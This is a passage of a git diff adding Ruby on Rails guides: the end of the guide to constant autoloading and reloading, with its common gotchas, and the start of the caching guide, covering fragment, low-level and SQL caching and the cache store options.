missing in a module called "Admin". + +If there is a top-level `User` Ruby would resolve it in the former example, but +wouldn't in the latter. In general, Rails does not emulate the Ruby constant +resolution algorithms, but in this case it tries using the following heuristic: + +> If none of the parent namespaces of the class or module has the missing +> constant then Rails assumes the reference is relative. Otherwise qualified. + +For example, if this code triggers autoloading + +```ruby +Admin::User +``` + +and the `User` constant is already present in `Object`, it is not possible that +the situation is + +```ruby +module Admin + User +end +``` + +because otherwise Ruby would have resolved `User` and no autoloading would have +been triggered in the first place. Thus, Rails assumes a qualified reference and +considers the file `admin/user.rb` and directory `admin/user` to be the only +valid options. + +In practice, this works quite well as long as the nesting matches all parent +namespaces respectively and the constants that make the rule apply are known at +that time. + +However, autoloading happens on demand. If by chance the top-level `User` was +not yet loaded, then Rails assumes a relative reference by contract. + +Naming conflicts of this kind are rare in practice, but if one occurs, +`require_dependency` provides a solution by ensuring that the constant needed +to trigger the heuristic is defined in the conflicting place. + +### Automatic Modules + +When a module acts as a namespace, Rails does not require the application to +define a file for it, a directory matching the namespace is enough. + +Suppose an application has a back office whose controllers are stored in +`app/controllers/admin`. If the `Admin` module is not yet loaded when +`Admin::UsersController` is hit, Rails needs first to autoload the constant +`Admin`. + +If `autoload_paths` has a file called `admin.rb` Rails is going to load that +one, but if there's no such file and a directory called `admin` is found, Rails +creates an empty module and assigns it to the `Admin` constant on the fly. + +### Generic Procedure + +Relative references are reported to be missing in the cref where they were hit, +and qualified references are reported to be missing in their parent (see +[Resolution Algorithm for Relative +Constants](#resolution-algorithm-for-relative-constants) at the beginning of +this guide for the definition of *cref*, and [Resolution Algorithm for Qualified +Constants](#resolution-algorithm-for-qualified-constants) for the definition of +*parent*). + +The procedure to autoload constant `C` in an arbitrary situation is as follows: + +``` +if the class or module in which C is missing is Object + let ns = '' +else + let M = the class or module in which C is missing + + if M is anonymous + let ns = '' + else + let ns = M.name + end +end + +loop do + # Look for a regular file. + for dir in autoload_paths + if the file "#{dir}/#{ns.underscore}/c.rb" exists + load/require "#{dir}/#{ns.underscore}/c.rb" + + if C is now defined + return + else + raise LoadError + end + end + end + + # Look for an automatic module. + for dir in autoload_paths + if the directory "#{dir}/#{ns.underscore}/c" exists + if ns is an empty string + let C = Module.new in Object and return + else + let C = Module.new in ns.constantize and return + end + end + end + + if ns is empty + # We reached the top-level without finding the constant. + raise NameError + else + if C exists in any of the parent namespaces + # Qualified constants heuristic. + raise NameError + else + # Try again in the parent namespace. + let ns = the parent namespace of ns and retry + end + end +end +``` + + +require_dependency +------------------ + +Constant autoloading is triggered on demand and therefore code that uses a +certain constant may have it already defined or may trigger an autoload. That +depends on the execution path and it may vary between runs. + +There are times, however, in which you want to make sure a certain constant is +known when the execution reaches some code. `require_dependency` provides a way +to load a file using the current [loading mechanism](#loading-mechanism), and +keeping track of constants defined in that file as if they were autoloaded to +have them reloaded as needed. + +`require_dependency` is rarely needed, but see a couple of use-cases in +[Autoloading and STI](#autoloading-and-sti) and [When Constants aren't +Triggered](#when-constants-aren-t-missed). + +WARNING. Unlike autoloading, `require_dependency` does not expect the file to +define any particular constant. Exploiting this behavior would be a bad practice +though, file and constant paths should match. + + +Constant Reloading +------------------ + +When `config.cache_classes` is false Rails is able to reload autoloaded +constants. + +For example, if you're in a console session and edit some file behind the +scenes, the code can be reloaded with the `reload!` command: + +``` +> reload! +``` + +When the application runs, code is reloaded when something relevant to this +logic changes. In order to do that, Rails monitors a number of things: + +* `config/routes.rb`. + +* Locales. + +* Ruby files under `autoload_paths`. + +* `db/schema.rb` and `db/structure.sql`. + +If anything in there changes, there is a middleware that detects it and reloads +the code. + +Autoloading keeps track of autoloaded constants. Reloading is implemented by +removing them all from their respective classes and modules using +`Module#remove_const`. That way, when the code goes on, those constants are +going to be unknown again, and files reloaded on demand. + +INFO. This is an all-or-nothing operation, Rails does not attempt to reload only +what changed since dependencies between classes makes that really tricky. +Instead, everything is wiped. + + +Module#autoload isn't Involved +------------------------------ + +`Module#autoload` provides a lazy way to load constants that is fully integrated +with the Ruby constant lookup algorithms, dynamic constant API, etc. It is quite +transparent. + +Rails internals make extensive use of it to defer as much work as possible from +the boot process. But constant autoloading in Rails is **not** implemented with +`Module#autoload`. + +One possible implementation based on `Module#autoload` would be to walk the +application tree and issue `autoload` calls that map existing file names to +their conventional constant name. + +There are a number of reasons that prevent Rails from using that implementation. + +For example, `Module#autoload` is only capable of loading files using `require`, +so reloading would not be possible. Not only that, it uses an internal `require` +which is not `Kernel#require`. + +Then, it provides no way to remove declarations in case a file is deleted. If a +constant gets removed with `Module#remove_const` its `autoload` is not triggered +again. Also, it doesn't support qualified names, so files with namespaces should +be interpreted during the walk tree to install their own `autoload` calls, but +those files could have constant references not yet configured. + +An implementation based on `Module#autoload` would be awesome but, as you see, +at least as of today it is not possible. Constant autoloading in Rails is +implemented with `Module#const_missing`, and that's why it has its own contract, +documented in this guide. + + +Common Gotchas +-------------- + +### Nesting and Qualified Constants + +Let's consider + +```ruby +module Admin + class UsersController < ApplicationController + def index + @users = User.all + end + end +end +``` + +and + +```ruby +class Admin::UsersController < ApplicationController + def index + @users = User.all + end +end +``` + +To resolve `User` Ruby checks `Admin` in the former case, but it does not in +the latter because it does not belong to the nesting (see [Nesting](#nesting) +and [Resolution Algorithms](#resolution-algorithms)). + +Unfortunately Rails autoloading does not know the nesting in the spot where the +constant was missing and so it is not able to act as Ruby would. In particular, +`Admin::User` will get autoloaded in either case. + +Albeit qualified constants with `class` and `module` keywords may technically +work with autoloading in some cases, it is preferable to use relative constants +instead: + +```ruby +module Admin + class UsersController < ApplicationController + def index + @users = User.all + end + end +end +``` + +### Autoloading and STI + +Single Table Inheritance (STI) is a feature of Active Record that enables +storing a hierarchy of models in one single table. The API of such models is +aware of the hierarchy and encapsulates some common needs. For example, given +these classes: + +```ruby +# app/models/polygon.rb +class Polygon < ApplicationRecord +end + +# app/models/triangle.rb +class Triangle < Polygon +end + +# app/models/rectangle.rb +class Rectangle < Polygon +end +``` + +`Triangle.create` creates a row that represents a triangle, and +`Rectangle.create` creates a row that represents a rectangle. If `id` is the +ID of an existing record, `Polygon.find(id)` returns an object of the correct +type. + +Methods that operate on collections are also aware of the hierarchy. For +example, `Polygon.all` returns all the records of the table, because all +rectangles and triangles are polygons. Active Record takes care of returning +instances of their corresponding class in the result set. + +Types are autoloaded as needed. For example, if `Polygon.first` is a rectangle +and `Rectangle` has not yet been loaded, Active Record autoloads it and the +record is correctly instantiated. + +All good, but if instead of performing queries based on the root class we need +to work on some subclass, things get interesting. + +While working with `Polygon` you do not need to be aware of all its descendants, +because anything in the table is by definition a polygon, but when working with +subclasses Active Record needs to be able to enumerate the types it is looking +for. Let's see an example. + +`Rectangle.all` only loads rectangles by adding a type constraint to the query: + +```sql +SELECT "polygons".* FROM "polygons" +WHERE "polygons"."type" IN ("Rectangle") +``` + +Let's introduce now a subclass of `Rectangle`: + +```ruby +# app/models/square.rb +class Square < Rectangle +end +``` + +`Rectangle.all` should now return rectangles **and** squares: + +```sql +SELECT "polygons".* FROM "polygons" +WHERE "polygons"."type" IN ("Rectangle", "Square") +``` + +But there's a caveat here: How does Active Record know that the class `Square` +exists at all? + +Even if the file `app/models/square.rb` exists and defines the `Square` class, +if no code yet used that class, `Rectangle.all` issues the query + +```sql +SELECT "polygons".* FROM "polygons" +WHERE "polygons"."type" IN ("Rectangle") +``` + +That is not a bug, the query includes all *known* descendants of `Rectangle`. + +A way to ensure this works correctly regardless of the order of execution is to +manually load the direct subclasses at the bottom of the file that defines each +intermediate class: + +```ruby +# app/models/rectangle.rb +class Rectangle < Polygon +end +require_dependency 'square' +``` + +This needs to happen for every intermediate (non-root and non-leaf) class. The +root class does not scope the query by type, and therefore does not necessarily +have to know all its descendants. + +### Autoloading and `require` + +Files defining constants to be autoloaded should never be `require`d: + +```ruby +require 'user' # DO NOT DO THIS + +class UsersController < ApplicationController + ... +end +``` + +There are two possible gotchas here in development mode: + +1. If `User` is autoloaded before reaching the `require`, `app/models/user.rb` +runs again because `load` does not update `$LOADED_FEATURES`. + +2. If the `require` runs first Rails does not mark `User` as an autoloaded +constant and changes to `app/models/user.rb` aren't reloaded. + +Just follow the flow and use constant autoloading always, never mix +autoloading and `require`. As a last resort, if some file absolutely needs to +load a certain file use `require_dependency` to play nice with constant +autoloading. This option is rarely needed in practice, though. + +Of course, using `require` in autoloaded files to load ordinary 3rd party +libraries is fine, and Rails is able to distinguish their constants, they are +not marked as autoloaded. + +### Autoloading and Initializers + +Consider this assignment in `config/initializers/set_auth_service.rb`: + +```ruby +AUTH_SERVICE = if Rails.env.production? + RealAuthService +else + MockedAuthService +end +``` + +The purpose of this setup would be that the application uses the class that +corresponds to the environment via `AUTH_SERVICE`. In development mode +`MockedAuthService` gets autoloaded when the initializer runs. Let's suppose +we do some requests, change its implementation, and hit the application again. +To our surprise the changes are not reflected. Why? + +As [we saw earlier](#constant-reloading), Rails removes autoloaded constants, +but `AUTH_SERVICE` stores the original class object. Stale, non-reachable +using the original constant, but perfectly functional. + +The following code summarizes the situation: + +```ruby +class C + def quack + 'quack!' + end +end + +X = C +Object.instance_eval { remove_const(:C) } +X.new.quack # => quack! +X.name # => C +C # => uninitialized constant C (NameError) +``` + +Because of that, it is not a good idea to autoload constants on application +initialization. + +In the case above we could implement a dynamic access point: + +```ruby +# app/models/auth_service.rb +class AuthService + if Rails.env.production? + def self.instance + RealAuthService + end + else + def self.instance + MockedAuthService + end + end +end +``` + +and have the application use `AuthService.instance` instead. `AuthService` +would be loaded on demand and be autoload-friendly. + +### `require_dependency` and Initializers + +As we saw before, `require_dependency` loads files in an autoloading-friendly +way. Normally, though, such a call does not make sense in an initializer. + +One could think about doing some [`require_dependency`](#require-dependency) +calls in an initializer to make sure certain constants are loaded upfront, for +example as an attempt to address the [gotcha with STIs](#autoloading-and-sti). + +Problem is, in development mode [autoloaded constants are wiped](#constant-reloading) +if there is any relevant change in the file system. If that happens then +we are in the very same situation the initializer wanted to avoid! + +Calls to `require_dependency` have to be strategically written in autoloaded +spots. + +### When Constants aren't Missed + +#### Relative References + +Let's consider a flight simulator. The application has a default flight model + +```ruby +# app/models/flight_model.rb +class FlightModel +end +``` + +that can be overridden by each airplane, for instance + +```ruby +# app/models/bell_x1/flight_model.rb +module BellX1 + class FlightModel < FlightModel + end +end + +# app/models/bell_x1/aircraft.rb +module BellX1 + class Aircraft + def initialize + @flight_model = FlightModel.new + end + end +end +``` + +The initializer wants to create a `BellX1::FlightModel` and nesting has +`BellX1`, that looks good. But if the default flight model is loaded and the +one for the Bell-X1 is not, the interpreter is able to resolve the top-level +`FlightModel` and autoloading is thus not triggered for `BellX1::FlightModel`. + +That code depends on the execution path. + +These kind of ambiguities can often be resolved using qualified constants: + +```ruby +module BellX1 + class Plane + def flight_model + @flight_model ||= BellX1::FlightModel.new + end + end +end +``` + +Also, `require_dependency` is a solution: + +```ruby +require_dependency 'bell_x1/flight_model' + +module BellX1 + class Plane + def flight_model + @flight_model ||= FlightModel.new + end + end +end +``` + +#### Qualified References + +WARNING. This gotcha is only possible in Ruby < 2.5. + +Given + +```ruby +# app/models/hotel.rb +class Hotel +end + +# app/models/image.rb +class Image +end + +# app/models/hotel/image.rb +class Hotel + class Image < Image + end +end +``` + +the expression `Hotel::Image` is ambiguous because it depends on the execution +path. + +As [we saw before](#resolution-algorithm-for-qualified-constants), Ruby looks +up the constant in `Hotel` and its ancestors. If `app/models/image.rb` has +been loaded but `app/models/hotel/image.rb` hasn't, Ruby does not find `Image` +in `Hotel`, but it does in `Object`: + +``` +$ rails r 'Image; p Hotel::Image' 2>/dev/null +Image # NOT Hotel::Image! +``` + +The code evaluating `Hotel::Image` needs to make sure +`app/models/hotel/image.rb` has been loaded, possibly with +`require_dependency`. + +In these cases the interpreter issues a warning though: + +``` +warning: toplevel constant Image referenced by Hotel::Image +``` + +This surprising constant resolution can be observed with any qualifying class: + +``` +2.1.5 :001 > String::Array +(irb):1: warning: toplevel constant Array referenced by String::Array + => Array +``` + +WARNING. To find this gotcha the qualifying namespace has to be a class, +`Object` is not an ancestor of modules. + +### Autoloading within Singleton Classes + +Let's suppose we have these class definitions: + +```ruby +# app/models/hotel/services.rb +module Hotel + class Services + end +end + +# app/models/hotel/geo_location.rb +module Hotel + class GeoLocation + class << self + Services + end + end +end +``` + +If `Hotel::Services` is known by the time `app/models/hotel/geo_location.rb` +is being loaded, `Services` is resolved by Ruby because `Hotel` belongs to the +nesting when the singleton class of `Hotel::GeoLocation` is opened. + +But if `Hotel::Services` is not known, Rails is not able to autoload it, the +application raises `NameError`. + +The reason is that autoloading is triggered for the singleton class, which is +anonymous, and as [we saw before](#generic-procedure), Rails only checks the +top-level namespace in that edge case. + +An easy solution to this caveat is to qualify the constant: + +```ruby +module Hotel + class GeoLocation + class << self + Hotel::Services + end + end +end +``` + +### Autoloading in `BasicObject` + +Direct descendants of `BasicObject` do not have `Object` among their ancestors +and cannot resolve top-level constants: + +```ruby +class C < BasicObject + String # NameError: uninitialized constant C::String +end +``` + +When autoloading is involved that plot has a twist. Let's consider: + +```ruby +class C < BasicObject + def user + User # WRONG + end +end +``` + +Since Rails checks the top-level namespace `User` gets autoloaded just fine the +first time the `user` method is invoked. You only get the exception if the +`User` constant is known at that point, in particular in a *second* call to +`user`: + +```ruby +c = C.new +c.user # surprisingly fine, User +c.user # NameError: uninitialized constant C::User +``` + +because it detects that a parent namespace already has the constant (see [Qualified +References](#autoloading-algorithms-qualified-references)). + +As with pure Ruby, within the body of a direct descendant of `BasicObject` use +always absolute constant paths: + +```ruby +class C < BasicObject + ::String # RIGHT + + def user + ::User # RIGHT + end +end +``` + +### Autoloading in the Test Environment + +When configuring the `test` environment for autoloading you might consider multiple factors. + +For example it might be worth running your tests with an identical setup to production (`config.eager_load = true`, `config.cache_classes = true`) in order to catch any problems before they hit production (this is compensation for the lack of dev-prod parity). However this will slow down the boot time for individual tests on a dev machine (and is not immediately compatible with spring see below). So one possibility is to do this on a +[CI](https://en.wikipedia.org/wiki/Continuous_integration) machine only (which should run without spring). + +On a development machine you can then have your tests running with whatever is fastest (ideally `config.eager_load = false`). + +With the [Spring](https://github.com/rails/spring) pre-loader (included with new Rails apps), you ideally keep `config.eager_load = false` as per development. Sometimes you may end up with a hybrid configuration (`config.eager_load = true`, `config.cache_classes = true` AND `config.enable_dependency_loading = true`), see [spring issue](https://github.com/rails/spring/issues/519#issuecomment-348324369). However it might be simpler to keep the same configuration as development, and work out whatever it is that is causing autoloading to fail (perhaps by the results of your CI test results). + +Occasionally you may need to explicitly eager_load by using `Rails +.application.eager_load!` in the setup of your tests -- this might occur if your [tests involve multithreading](https://stackoverflow.com/questions/25796409/in-rails-how-can-i-eager-load-all-code-before-a-specific-rspec-test). + +## Troubleshooting + +### Tracing Autoloads + +Active Support is able to report constants as they are autoloaded. To enable these traces in a Rails application, put the following two lines in some initializer: + +```ruby +ActiveSupport::Dependencies.logger = Rails.logger +ActiveSupport::Dependencies.verbose = true +``` + +### Where is a Given Autoload Triggered? + +If constant `Foo` is being autoloaded, and you'd like to know where is that autoload coming from, just throw + +```ruby +puts caller +``` + +at the top of `foo.rb` and inspect the printed stack trace. + +### Which Constants Have Been Autoloaded? + +At any given time, + +```ruby +ActiveSupport::Dependencies.autoloaded_constants +``` + +has the collection of constants that have been autoloaded so far. diff --git a/guides/source/caching_with_rails.md b/guides/source/caching_with_rails.md new file mode 100644 index 0000000000..3ac3f8fa8b --- /dev/null +++ b/guides/source/caching_with_rails.md @@ -0,0 +1,687 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Caching with Rails: An Overview +=============================== + +This guide is an introduction to speeding up your Rails application with caching. + +Caching means to store content generated during the request-response cycle and +to reuse it when responding to similar requests. + +Caching is often the most effective way to boost an application's performance. +Through caching, web sites running on a single server with a single database +can sustain a load of thousands of concurrent users. + +Rails provides a set of caching features out of the box. This guide will teach +you the scope and purpose of each one of them. Master these techniques and your +Rails applications can serve millions of views without exorbitant response times +or server bills. + +After reading this guide, you will know: + +* Fragment and Russian doll caching. +* How to manage the caching dependencies. +* Alternative cache stores. +* Conditional GET support. + +-------------------------------------------------------------------------------- + +Basic Caching +------------- + +This is an introduction to three types of caching techniques: page, action and +fragment caching. By default Rails provides fragment caching. In order to use +page and action caching you will need to add `actionpack-page_caching` and +`actionpack-action_caching` to your `Gemfile`. + +By default, caching is only enabled in your production environment. To play +around with caching locally you'll want to enable caching in your local +environment by setting `config.action_controller.perform_caching` to `true` in +the relevant `config/environments/*.rb` file: + +```ruby +config.action_controller.perform_caching = true +``` + +NOTE: Changing the value of `config.action_controller.perform_caching` will +only have an effect on the caching provided by the Action Controller component. +For instance, it will not impact low-level caching, that we address +[below](#low-level-caching). + +### Page Caching + +Page caching is a Rails mechanism which allows the request for a generated page +to be fulfilled by the webserver (i.e. Apache or NGINX) without having to go +through the entire Rails stack. While this is super fast it can't be applied to +every situation (such as pages that need authentication). Also, because the +webserver is serving a file directly from the filesystem you will need to +implement cache expiration. + +INFO: Page Caching has been removed from Rails 4. See the [actionpack-page_caching gem](https://github.com/rails/actionpack-page_caching). + +### Action Caching + +Page Caching cannot be used for actions that have before filters - for example, pages that require authentication. This is where Action Caching comes in. Action Caching works like Page Caching except the incoming web request hits the Rails stack so that before filters can be run on it before the cache is served. This allows authentication and other restrictions to be run while still serving the result of the output from a cached copy. + +INFO: Action Caching has been removed from Rails 4. See the [actionpack-action_caching gem](https://github.com/rails/actionpack-action_caching). See [DHH's key-based cache expiration overview](http://signalvnoise.com/posts/3113-how-key-based-cache-expiration-works) for the newly-preferred method. + +### Fragment Caching + +Dynamic web applications usually build pages with a variety of components not +all of which have the same caching characteristics. When different parts of the +page need to be cached and expired separately you can use Fragment Caching. + +Fragment Caching allows a fragment of view logic to be wrapped in a cache block and served out of the cache store when the next request comes in. + +For example, if you wanted to cache each product on a page, you could use this +code: + +```html+erb +<% @products.each do |product| %> + <% cache product do %> + <%= render product %> + <% end %> +<% end %> +``` + +When your application receives its first request to this page, Rails will write +a new cache entry with a unique key. A key looks something like this: + +``` +views/products/1-201505056193031061005000/bea67108094918eeba42cd4a6e786901 +``` + +The number in the middle is the `product_id` followed by the timestamp value in +the `updated_at` attribute of the product record. Rails uses the timestamp value +to make sure it is not serving stale data. If the value of `updated_at` has +changed, a new key will be generated. Then Rails will write a new cache to that +key, and the old cache written to the old key will never be used again. This is +called key-based expiration. + +Cache fragments will also be expired when the view fragment changes (e.g., the +HTML in the view changes). The string of characters at the end of the key is a +template tree digest. It is a hash digest computed based on the contents of the +view fragment you are caching. If you change the view fragment, the digest will +change, expiring the existing file. + +TIP: Cache stores like Memcached will automatically delete old cache files. + +If you want to cache a fragment under certain conditions, you can use +`cache_if` or `cache_unless`: + +```erb +<% cache_if admin?, product do %> + <%= render product %> +<% end %> +``` + +#### Collection caching + +The `render` helper can also cache individual templates rendered for a collection. +It can even one up the previous example with `each` by reading all cache +templates at once instead of one by one. This is done by passing `cached: true` when rendering the collection: + +```html+erb +<%= render partial: 'products/product', collection: @products, cached: true %> +``` + +All cached templates from previous renders will be fetched at once with much +greater speed. Additionally, the templates that haven't yet been cached will be +written to cache and multi fetched on the next render. + + +### Russian Doll Caching + +You may want to nest cached fragments inside other cached fragments. This is +called Russian doll caching. + +The advantage of Russian doll caching is that if a single product is updated, +all the other inner fragments can be reused when regenerating the outer +fragment. + +As explained in the previous section, a cached file will expire if the value of +`updated_at` changes for a record on which the cached file directly depends. +However, this will not expire any cache the fragment is nested within. + +For example, take the following view: + +```erb +<% cache product do %> + <%= render product.games %> +<% end %> +``` + +Which in turn renders this view: + +```erb +<% cache game do %> + <%= render game %> +<% end %> +``` + +If any attribute of game is changed, the `updated_at` value will be set to the +current time, thereby expiring the cache. However, because `updated_at` +will not be changed for the product object, that cache will not be expired and +your app will serve stale data. To fix this, we tie the models together with +the `touch` method: + +```ruby +class Product < ApplicationRecord + has_many :games +end + +class Game < ApplicationRecord + belongs_to :product, touch: true +end +``` + +With `touch` set to `true`, any action which changes `updated_at` for a game +record will also change it for the associated product, thereby expiring the +cache. + +### Shared Partial Caching + +It is possible to share partials and associated caching between files with different mime types. For example shared partial caching allows template writers to share a partial between HTML and JavaScript files. When templates are collected in the template resolver file paths they only include the template language extension and not the mime type. Because of this templates can be used for multiple mime types. Both HTML and JavaScript requests will respond to the following code: + +```ruby +render(partial: 'hotels/hotel', collection: @hotels, cached: true) +``` + +Will load a file named `hotels/hotel.erb`. + +Another option is to include the full filename of the partial to render. + +```ruby +render(partial: 'hotels/hotel.html.erb', collection: @hotels, cached: true) +``` + +Will load a file named `hotels/hotel.html.erb` in any file mime type, for example you could include this partial in a JavaScript file. + +### Managing dependencies + +In order to correctly invalidate the cache, you need to properly define the +caching dependencies. Rails is clever enough to handle common cases so you don't +have to specify anything. However, sometimes, when you're dealing with custom +helpers for instance, you need to explicitly define them. + +#### Implicit dependencies + +Most template dependencies can be derived from calls to `render` in the template +itself. Here are some examples of render calls that `ActionView::Digestor` knows +how to decode: + +```ruby +render partial: "comments/comment", collection: commentable.comments +render "comments/comments" +render 'comments/comments' +render('comments/comments') + +render "header" translates to render("comments/header") + +render(@topic) translates to render("topics/topic") +render(topics) translates to render("topics/topic") +render(message.topics) translates to render("topics/topic") +``` + +On the other hand, some calls need to be changed to make caching work properly. +For instance, if you're passing a custom collection, you'll need to change: + +```ruby +render @project.documents.where(published: true) +``` + +to: + +```ruby +render partial: "documents/document", collection: @project.documents.where(published: true) +``` + +#### Explicit dependencies + +Sometimes you'll have template dependencies that can't be derived at all. This +is typically the case when rendering happens in helpers. Here's an example: + +```html+erb +<%= render_sortable_todolists @project.todolists %> +``` + +You'll need to use a special comment format to call those out: + +```html+erb +<%# Template Dependency: todolists/todolist %> +<%= render_sortable_todolists @project.todolists %> +``` + +In some cases, like a single table inheritance setup, you might have a bunch of +explicit dependencies. Instead of writing every template out, you can use a +wildcard to match any template in a directory: + +```html+erb +<%# Template Dependency: events/* %> +<%= render_categorizable_events @person.events %> +``` + +As for collection caching, if the partial template doesn't start with a clean +cache call, you can still benefit from collection caching by adding a special +comment format anywhere in the template, like: + +```html+erb +<%# Template Collection: notification %> +<% my_helper_that_calls_cache(some_arg, notification) do %> + <%= notification.name %> +<% end %> +``` + +#### External dependencies + +If you use a helper method, for example, inside a cached block and you then update +that helper, you'll have to bump the cache as well. It doesn't really matter how +you do it, but the MD5 of the template file must change. One recommendation is to +simply be explicit in a comment, like: + +```html+erb +<%# Helper Dependency Updated: Jul 28, 2015 at 7pm %> +<%= some_helper_method(person) %> +``` + +### Low-Level Caching + +Sometimes you need to cache a particular value or query result instead of caching view fragments. Rails' caching mechanism works great for storing __any__ kind of information. + +The most efficient way to implement low-level caching is using the `Rails.cache.fetch` method. This method does both reading and writing to the cache. When passed only a single argument, the key is fetched and value from the cache is returned. If a block is passed, that block will be executed in the event of a cache miss. The return value of the block will be written to the cache under the given cache key, and that return value will be returned. In case of cache hit, the cached value will be returned without executing the block. + +Consider the following example. An application has a `Product` model with an instance method that looks up the product's price on a competing website. The data returned by this method would be perfect for low-level caching: + +```ruby +class Product < ApplicationRecord + def competing_price + Rails.cache.fetch("#{cache_key_with_version}/competing_price", expires_in: 12.hours) do + Competitor::API.find_price(id) + end + end +end +``` + +NOTE: Notice that in this example we used the `cache_key_with_version` method, so the resulting cache key will be something like `products/233-20140225082222765838000/competing_price`. `cache_key_with_version` generates a string based on the model's `id` and `updated_at` attributes. This is a common convention and has the benefit of invalidating the cache whenever the product is updated. In general, when you use low-level caching for instance level information, you need to generate a cache key. + +### SQL Caching + +Query caching is a Rails feature that caches the result set returned by each +query. If Rails encounters the same query again for that request, it will use +the cached result set as opposed to running the query against the database +again. + +For example: + +```ruby +class ProductsController < ApplicationController + + def index + # Run a find query + @products = Product.all + + ... + + # Run the same query again + @products = Product.all + end + +end +``` + +The second time the same query is run against the database, it's not actually going to hit the database. The first time the result is returned from the query it is stored in the query cache (in memory) and the second time it's pulled from memory. + +However, it's important to note that query caches are created at the start of +an action and destroyed at the end of that action and thus persist only for the +duration of the action. If you'd like to store query results in a more +persistent fashion, you can with low level caching. + +Cache Stores +------------ + +Rails provides different stores for the cached data (apart from SQL and page +caching). + +### Configuration + +You can set up your application's default cache store by setting the +`config.cache_store` configuration option. Other parameters can be passed as +arguments to the cache store's constructor: + +```ruby +config.cache_store = :memory_store, { size: 64.megabytes } +``` + +NOTE: Alternatively, you can call `ActionController::Base.cache_store` outside of a configuration block. + +You can access the cache by calling `Rails.cache`. + +### ActiveSupport::Cache::Store + +This class provides the foundation for interacting with the cache in Rails. This is an abstract class and you cannot use it on its own. Rather you must use a concrete implementation of the class tied to a storage engine. Rails ships with several implementations documented below. + +The main methods to call are `read`, `write`, `delete`, `exist?`, and `fetch`. The fetch method takes a block and will either return an existing value from the cache, or evaluate the block and write the result to the cache if no value exists. + +There are some common options that can be used by all cache implementations. These can be passed to the constructor or the various methods to interact with entries. + +* `:namespace` - This option can be used to create a namespace within the cache store. It is especially useful if your application shares a cache with other applications. + +* `:compress` - Enabled by default. Compresses cache entries so more data can be stored in the same memory footprint, leading to fewer cache evictions and higher hit rates. + +* `:compress_threshold` - Defaults to 1kB. Cache entries larger than this threshold, specified in bytes, are compressed. + +* `:expires_in` - This option sets an expiration time in seconds for the cache entry, if the cache store supports it, when it will be automatically removed from the cache. + +* `:race_condition_ttl` - This option is used in conjunction with the `:expires_in` option. It will prevent race conditions when cache entries expire by preventing multiple processes from simultaneously regenerating the same entry (also known as the dog pile effect). This option sets the number of seconds that an expired entry can be reused while a new value is being regenerated. It's a good practice to set this value if you use the `:expires_in` option. + +#### Custom Cache Stores + +You can create your own custom cache store by simply extending +`ActiveSupport::Cache::Store` and implementing the appropriate methods. This way, +you can swap in any number of caching technologies into your Rails application. + +To use a custom cache store, simply set the cache store to a new instance of your +custom class. + +```ruby +config.cache_store = MyCacheStore.new +``` + +### ActiveSupport::Cache::MemoryStore + +This cache store keeps entries in memory in the same Ruby process. The cache +store has a bounded size specified by sending the `:size` option to the +initializer (default is 32Mb). When the cache exceeds the allotted size, a +cleanup will occur and the least recently used entries will be removed. + +```ruby +config.cache_store = :memory_store, { size: 64.megabytes } +``` + +If you're running multiple Ruby on Rails server processes (which is the case +if you're using Phusion Passenger or puma clustered mode), then your Rails server +process instances won't be able to share cache data with each other. This cache +store is not appropriate for large application deployments. However, it can +work well for small, low traffic sites with only a couple of server processes, +as well as development and test environments. + +New Rails projects are configured to use this implementation in development environment by default. + +NOTE: Since processes will not share cache data when using `:memory_store`, +it will not be possible to manually read, write, or expire the cache via the Rails console. + +### ActiveSupport::Cache::FileStore + +This cache store uses the file system to store entries. The path to the directory where the store files will be stored must be specified when initializing the cache. + +```ruby +config.cache_store = :file_store, "/path/to/cache/directory" +``` + +With this cache store, multiple server processes on the same host can share a +cache. This cache store is appropriate for low to medium traffic sites that are +served off one or two hosts. Server processes running on different hosts could +share a cache by using a shared file system, but that setup is not recommended. + +As the cache will grow until the disk is full, it is recommended to +periodically clear out old entries. + +This is the default cache store implementation (at `"#{root}/tmp/cache/"`) if +no explicit `config.cache_store` is supplied. + +### ActiveSupport::Cache::MemCacheStore + +This cache store uses Danga's `memcached` server to provide a centralized cache for your application. Rails uses the bundled `dalli` gem by default. This is currently the most popular cache store for production websites. It can be used to provide a single, shared cache cluster with very high performance and redundancy. + +When initializing the cache, you need to specify the addresses for all +memcached servers in your cluster. If none are specified, it will assume +memcached is running on localhost on the default port, but this is not an ideal +setup for larger sites. + +The `write` and `fetch` methods on this cache accept two additional options that take advantage of features specific to memcached. You can specify `:raw` to send a value directly to the server with no serialization. The value must be a string or number. You can use memcached direct operations like `increment` and `decrement` only on raw values. You can also specify `:unless_exist` if you don't want memcached to overwrite an existing entry. + +```ruby +config.cache_store = :mem_cache_store, "cache-1.example.com", "cache-2.example.com" +``` + +### ActiveSupport::Cache::RedisCacheStore + +The Redis cache store takes advantage of Redis support for automatic eviction +when it reaches max memory, allowing it to behave much like a Memcached cache server. + +Deployment note: Redis doesn't expire keys by default, so take care to use a +dedicated Redis cache server. Don't fill up your persistent-Redis server with +volatile cache data! Read the +[Redis cache server setup guide](https://redis.io/topics/lru-cache) in detail. + +For a cache-only Redis server, set `maxmemory-policy` to one of the variants of allkeys. +Redis 4+ supports least-frequently-used eviction (`allkeys-lfu`), an excellent +default choice. Redis 3 and earlier should use least-recently-used eviction (`allkeys-lru`). + +Set cache read and write timeouts relatively low. Regenerating a cached value +is often faster than waiting more than a second to retrieve it. Both read and +write timeouts default to 1 second, but may be set lower if your network is +consistently low-latency. + +By default, the cache store will not attempt to reconnect to Redis if the +connection fails during a request. If you experience frequent disconnects you +may wish to enable reconnect attempts. + +Cache reads and writes never raise exceptions; they just return `nil` instead, +behaving as if there was nothing in the cache. To gauge whether your cache is +hitting exceptions, you may provide an `error_handler` to report to an +exception gathering service. It must accept three keyword arguments: `method`, +the cache store method that was originally called; `returning`, the value that +was returned to the user, typically `nil`; and `exception`, the exception that +was rescued. + +To get started, add the redis gem to your Gemfile: + +```ruby +gem 'redis' +``` + +You can enable support for the faster [hiredis](https://github.com/redis/hiredis) +connection library by additionally adding its ruby wrapper to your Gemfile: + +```ruby +gem 'hiredis' +``` + +Redis cache store will automatically require & use hiredis if available. No further +configuration is needed. + +Finally, add the configuration in the relevant `config/environments/*.rb` file: + +```ruby +config.cache_store = :redis_cache_store, { url: ENV['REDIS_URL'] } +``` + +A more complex, production Redis cache store may look something like this: + +```ruby +cache_servers = %w(redis://cache-01:6379/0 redis://cache-02:6379/0) +config.cache_store = :redis_cache_store, { url: cache_servers, + + 